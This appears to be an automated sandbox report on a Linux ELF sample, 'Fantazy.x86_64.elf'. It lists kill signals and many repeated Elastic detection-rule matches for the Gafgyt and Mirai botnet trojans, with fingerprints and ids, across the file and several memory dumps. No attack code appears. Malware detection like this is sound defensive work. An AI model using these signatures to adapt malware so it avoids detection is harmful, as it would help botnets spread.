Source: /usr/bin/dbus-daemon (PID: 5804)	SIGKILL sent: pid: 6021, result: successful
Source: /usr/bin/dbus-daemon (PID: 5804)	SIGKILL sent: pid: 6194, result: successful
Source: /usr/bin/dbus-daemon (PID: 5823)	SIGKILL sent: pid: 6180, result: successful

Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
